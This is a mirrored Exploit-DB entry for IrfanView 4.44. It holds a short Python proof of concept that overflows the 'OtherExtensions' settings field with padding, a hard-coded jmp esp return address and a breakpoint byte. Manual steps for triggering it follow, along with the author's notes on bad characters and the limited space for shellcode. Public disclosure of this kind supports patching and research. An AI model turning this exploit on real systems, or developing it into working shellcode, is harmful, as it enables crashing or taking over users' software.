IrfanView 4.44 – Denial of Service

• Exploit Database
• 19 阅读

• 作者： Dreivan Orprecio
  日期： 2017-04-29
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/41949/

• # Exploit Title: Irfanview - OtherExtensions Input Overflow
  # Date: 29-04-2017
  # Software Link: http://download.cnet.com/IrfanView/?part=dl-&subj=dl&tag=button
  # Exploit Author: Dreivan Orprecio
  #Version: Irfanview 4.44
  #Irfanview is vulnerable to overflow in "OtherExtensions" input field
  #Debugging Machine: WinXP Pro SP3 (32bit)
  
  
  #POC
  
  #!usr/bin/python
  
  
  eip = "\xf7\x56\x44\x7e" #jmp esp from user32.dll
  
  
  
  buffer = "OtherExtensions="+"A" *199 + eip + "\xcc" 
  
  print buffer#a) irfanview->Option->Properties/Settings->Extensions
  #b) Paste the buffer in the "other" input then press ok, repeat a) and b)
  
  
  
  
  
  #badcharacters: those instruction that start with 6,7,8,E,F 
  #Only 43 bytes space to host a shellcode and lots of badchars make it hard for this to exploit
  #Any other way around this?